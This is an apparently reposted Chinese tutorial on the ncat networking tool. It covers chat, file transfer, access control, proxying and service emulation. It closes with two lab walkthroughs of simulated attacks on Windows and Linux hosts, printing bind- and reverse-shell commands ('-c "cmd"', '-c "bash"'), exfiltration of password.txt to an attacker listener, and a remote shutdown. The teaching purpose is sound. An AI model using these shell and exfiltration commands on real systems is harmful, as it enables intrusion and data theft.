简介
官网:Ncat - Netcat for the 21st Century
帮助文档:https://nmap.org/ncat/guide/index.html
windows版安装:安装nmap时自动会安装ncat
linux安装:可通过yum或apt方式安装ncat
ncat与nc(netcat)的区别:
ncat与netcat是不同的开发者,ncat是netcat的增强版;ncat与nmap是同一组织开发维护,有nmap作为更专业的端口扫描工具,ncat取消了端口扫描功能。
用法示例
- 聊天模式
# 服务器端(192.168.0.99):
# -l 监听模式
# -k 允许多终端接入,否则只允许一个连接
# -p 666 指定监听端口
ncat -l -k -p 666
#客户端:
ncat 192.168.0.99 666
服务器发送hello,收到客户端1和客户端2的hello
客户端1:收到服务器发送的hello,自己发送了hello
客户端2:收到服务器发送的hello,自己发送了hello
从上面的示例我们可以得知,多个客户端连接服务器时,服务器发送的消息都可以看到,但客户端发送的消息只有服务器可以看到。
补充:服务器端加入 --broker 参数可以实现客户端发送的消息通过服务器转发给其它客户端,但服务器端本身不会打印出消息内容
- 从文件输入内容
# 服务器端
# 创建测试文件“helloworld.html”,内容为“Hello World”
# 启动ncat时从文件输入内容
C:\Users\49285>type helloworld.html
Hello World
C:\Users\49285>
C:\Users\49285>ncat -l -k -p 666 <helloworld.html
# 客户端
ncat 192.168.0.99 666
服务器
客户端1:
客户端2:
注意:
服务器从文件输入的内容只能使用一次
服务器不能再输入消息发送给客户端
客户端可以发送消息给服务器
- 命令执行输出
--exec 运行不带 shell 解释的命令。
--sh-exec 通过将字符串传递到系统 shell 来运行命令。
--lua-exec 使用 Ncat 的内置 Lua 解释器运行 Lua 程序。
ncat -l --exec "/bin/echo Hello."
ncat -l --sh-exec "echo `pwd`"
ncat -l --lua-exec hello-luaexec.lua
# hello-luaexec.lua内容
--This is a --lua-exec "Hello world" example. In order to send to a client,
--all you need to do is output it to the standard output.
print("Hello, world!")
协议支持
Ncat 可以使用 TCP、UDP、SCTP、SSL、IPv4、IPv6 以及这些的各种组合。基于 IPv4 的 TCP 是默认设置。
访问控制
# 允许一台主机,拒绝所有其他主机
ncat -l --allow 192.168.0.125
ncat -l --allow 2001:db8::7d
ncat -l --allow trusted.example.com
# 拒绝一台主机,允许所有其他主机
ncat -l --deny 192.168.0.200
ncat -l --deny 2001:db8::c8
# 允许本地网络上的主机,拒绝所有其他主机
ncat -l --allow 192.168.0.0/24
ncat -l --allow 192.168.0.0-255
ncat -l --allow 2001:db8::/32
# 允许或拒绝文件中的主机
ncat -l --allowfile trusted-hosts.txt
ncat -l --denyfile external-hosts.txt
# 配置允许的最大连接数
ncat -l --max-conns 5
代理
# 作为客户端,使用代理服务器
# --proxy-type可以省略;它默认为 http. 如果<proxyport>省略,则默认为所选代理类型的众所周知端口:SOCKS 为 1080,HTTP 为 3128。
ncat --proxy <proxyhost>[:<proxyport>] --proxy-type { http | socks4 | socks5 } <host> [<port>]
# 作为代理服务器,提供代理服务,仅支持http代理
ncat -l 3128 --proxy-type http
ncat -l 3128 --proxy-type http --proxy-auth <user>:<pass>
文件传输
# 接收者监听,默认监听端口31337
host2$ ncat -l > outputfile
host1$ ncat --send-only host2 < inputfile
# 发送者监听,默认监听端口31337
host1$ ncat -l --send-only < inputfile
host2$ ncat host1 > outputfile
# 通过tar传输文件
host2$ ncat -l | tar xzv
host1$ tar czv <files> | ncat --send-only host2
# 传输磁盘映像
host2$ ncat -l > host1-hda.image
host1$ ncat --send-only host2 < /dev/hda
# 压缩传输磁盘映像
host2$ ncat -l | bzip2 -d > host1-hda.image
host1$ cat /dev/hda | bzip2 | ncat --send-only host2
# 当两台主机不能直接通信时,可以通过中转主机(host3)进行文件传输
# 注意,host2(接收主机)必须先于 host1(发送主机)连接到代理,代理不会缓冲接收到的数据以发送到稍后连接的主机。
host3$ ncat -l --broker
host2$ ncat host3 > outputfile
host1$ ncat --send-only host3 < inputfile
聊天 --chat
多个客户端连接服务器时,每个客户端都和服务器建立一个独立的连接,客户端之间不能彼此发送消息,服务器通过--broker参数可以实现将客户端发送的消息转发给其它客户端,但有多个客户端发送消息时,并不能区分消息是由哪一个用户发送,在服务器端通过--chat参数,可以实现在转发消息时,在消息前面标记出用户id,此用户id是随机生机,不可以指定和保留。
web服务器
# linux系统
ncat -lk -p 8080 --sh-exec "echo -e 'HTTP/1.1 200 OK\r\n'; echo HelloWorld"
# windows系统
ncat -lk -p 8080 --sh-exec "echo HTTP/1.1 200 OK& echo(&type index.html"
ncats链
# 通过主机2将日志文件从主机1发送到主机3
host3$ ncat -l > log.txt
host2$ ncat -l | ncat host3
host1$ ncat --send-only host2 < log.txt
# 优化,主机3和主机1可以互相发送消息
host3$ ncat -l > log.txt
host2$ ncat -l --sh-exec "ncat host3"
host1$ ncat --send-only host2 < log.txt
模拟诊断服务
# 丢弃消息
ncat -l --keep-open 9 --recv-only > /dev/null
ncat --udp -l --keep-open 9 --recv-only > /dev/null
# 返回收到的消息
ncat -l 7 --keep-open --exec "/bin/cat"
ncat -l 7 --keep-open --udp --exec "/bin/cat"
# 返回日期时间
ncat -l 13 --keep-open --send-only --exec "/bin/date"
ncat -l 13 --keep-open --udp --send-only --exec "/bin/date"
模拟攻击windows主机
攻击者:kali linux(192.168.0.9)
被攻击者:win10(192.168.0.99)
环境配置:关闭操作系统防火墙,安装ncat工具
攻击目标:获取win10主机用户目录下的password.txt文件(文件已经提前准备好)
攻击过程:
# win10客户端执行
# 监听tcp 666端口
C:\Users\49285>type password.txt
password
C:\Users\49285>ncat -l -k -p 666 -c "cmd"
# kali攻击者
# 终端1:准备好接收从win10获取的文件
┌──(kali㉿kali)-[~]
└─$ ncat -l -p 777 > password.txt
# 终端2
# 连接win10主机,获取cmd执行权限
┌──(kali㉿kali)-[~]
└─$ ncat 192.168.0.99 666
Microsoft Windows [�汾 10.0.18363.592]
(c) 2019 Microsoft Corporation����������Ȩ����
# 查看password.txt文件内容
C:\Users\49285>type password.txt
type password.txt
password
# 将win10客户端的password.txt文件通过“终端1”传到kali系统本地
C:\Users\49285>ncat 192.168.0.9 777 < password.txt
ncat 192.168.0.9 777 < password.txt
# 退出远端会话,ctrl + c
C:\Users\49285>^C
# 确认接收到的文件
┌──(kali㉿kali)-[~]
└─$ cat password.txt
password
┌──(kali㉿kali)-[~]
└─$
以上就完成了从win10主机上获取机密文件,但存在以下两个问题:
问题1、win10主机作为客户端,网络环境通常是通过nat上网,不能从互联网直接访问;
问题2、windows主机一般默认启用了防火墙,不允许从外面访问本地端口。
针对上述两个问题,我们只需要将监听主机修改为攻击者主机即可,由被攻击者主动连接到攻击者主机,然后实施攻击。在“模拟攻击linux主机”章节进行演示
模拟攻击linux主机
攻击者:kali linux(192.168.0.9)
被攻击者:centos7(192.168.0.8)
环境配置:安装ncat工具
攻击目标:获取centos7主机用户目录下的password.txt文件(文件已经提前准备好)
攻击过程:
# 攻击者,kali linux(192.168.0.9)
# 终端1,监听777端口,准备好接收从centos7传送过来的password.txt文件
┌──(kali㉿kali)-[~]
└─$ ncat -l -p 777 > password.txt
# 终端2,监听666端口,用于centos7主动连接
┌──(kali㉿kali)-[~]
└─$ ncat -l -p 666
# 被攻击者,centos7(192.168.0.8)
[root@192 ~]# cat password.txt
centos7 password
[root@192 ~]#
[root@192 ~]# ncat 192.168.0.9 666 -c "bash"
# -----------------------以上完成了centos7主机主动连接到kali攻击者----------------------
# -----------------------开始实施攻击--------------------------------------------------
# centos7连接到kali的666端口后,在kali系统的“终端2”上执行命令,相当于是在centos7主机执行
┌──(kali㉿kali)-[~]
└─$ ncat -l -p 666
# 查看当前目录文件
ls
anaconda-ks.cfg
install.sh
password.txt
#查看当前主机ip地址,192.168.0.8为centos7主机的ip地址
ip add
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:0c:29:09:3d:84 brd ff:ff:ff:ff:ff:ff
inet 192.168.0.8/24 brd 192.168.0.255 scope global noprefixroute dynamic ens33
valid_lft 86144sec preferred_lft 86144sec
inet6 240e:382:718:4900:ec79:3a3a:a286:d92c/64 scope global noprefixroute dynamic
valid_lft 2444sec preferred_lft 2444sec
inet6 fe80::f63c:a000:8980:2bf4/64 scope link noprefixroute
valid_lft forever preferred_lft forever
# 查看password.txt文件内容
cat password.txt
centos7 password
# 通过“终端2”获取password.txt文件
ncat 192.168.0.9 777 < password.txt
# 将centos7远程计算机关机(测试用,实际情况下不会进行此操作)
shutdown -h now
# 确认获取的password.txt文件内容
┌──(kali㉿kali)-[~]
└─$ cat password.txt
centos7 password
以上演示了如何获取linux主机的机密文件,只需要被攻击主机能够访问到攻击者主机即可完成攻击操作。
总结
ncat是一款功能强大而小巧的网络测试工具,也可以作为黑客攻击工具,为避免主机遭受黑客攻击,我们应当安装杀毒工具,到正规网站下载安装软件。
上一篇:计算机网络基础实践进阶文章来源:https://www.toymoban.com/news/detail-800274.html
内容导览:it行业个人工作实践总结文章来源地址https://www.toymoban.com/news/detail-800274.html
到了这里,关于网络测试工具ncat的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!